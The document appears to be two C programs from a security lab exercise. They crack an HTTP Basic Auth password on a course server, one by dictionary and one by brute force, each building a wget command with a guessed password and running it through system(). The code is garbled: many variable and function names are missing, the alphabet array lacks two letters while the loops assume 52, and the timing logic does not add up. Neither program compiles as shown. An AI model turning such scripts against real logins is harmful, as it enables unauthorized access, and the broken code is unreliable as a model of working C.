#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}



#include <stdio.h>
#include <string.h>
#include <sys/time.h>

#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {


    char [100]={'\0'};
    strcpy(,b);
    
    strcat(,);
    printf ("Sending command %s\n",);
    if ( system()== 0) {
       printf ("\n password is : %s",);
       return 1;
    }
    return 0;
}
 

int bruteForce(char [],char comb[],char *url) {


int i,j,k;

   for(i=0;i<52 ;i++) {
        comb[0]= [i];
        if (execPassword(comb,url)== 1) return 1; 
          for(j=0;j<52;j++) {
              comb[1] = [j];
              if(execPassword(comb,url)==1) return 1;
                for(k=0;k<52;k++) {
                    comb[2] = [k];
                    if(execPassword(comb,url)==1) return 1;
                }
          comb[1] = '\0';
     }
   }
   return 0;

} 

int  (char *argc, char *argv[]) {

 int i,j,k;
 char strin[80] = {'\0'};
 char *passwd;
 char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
 char v[4]={'\0'};
 int startTime, stopTime, final;
 int flag=false; 
 strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");

  startTime = time();
    if (bruteForce(a,v,strin)==1) {
      stopTime = time();
      final = stopTime-startTime;
    }

       printf ("\n The password is : %s",v);
       printf("%lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );

}
